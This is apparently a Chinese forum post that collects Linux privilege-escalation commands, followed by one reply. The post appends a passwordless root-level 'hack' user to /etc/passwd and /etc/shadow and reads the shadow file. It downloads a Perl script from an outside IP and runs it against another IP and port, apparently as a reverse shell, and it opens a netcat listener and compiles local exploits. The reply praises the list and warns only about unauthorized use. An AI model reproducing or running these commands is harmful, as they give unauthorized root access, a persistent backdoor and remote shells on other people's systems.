linux提权命令收集

小男孩

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "root"
echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd

cat /etc/shadow
echo hack::133380:0:99999:7::: >>/etc/shadow
wget http://58.19.202.2x/back.pl
passwd hack

ps -aux

whoami
uname -a
nc -vv -lp 123456

cd test;wget
perl back.pl 58.252.46.142 60
ls

which gcc
gcc exp.c -o exp
gcc -o brk brk.c -static

uptime //看在线时间
cat /etc/issue //看版本​

热心网友4

楼主收集的这些命令挺全的，覆盖了信息收集、用户添加、下载执行远程脚本、编译exp等常见提权步骤。不过提权操作本身风险很高，尤其是直接修改/etc/passwd和/etc/shadow，在生产环境或未授权的系统上千万别尝试，容易造成无法登录或系统崩溃。另外，wget远程脚本和编译exp时建议先确认来源可信，避免引入恶意代码。如果是为了测试自己搭建的环境，记得做好快照或备份。感谢分享，挺实用的参考列表。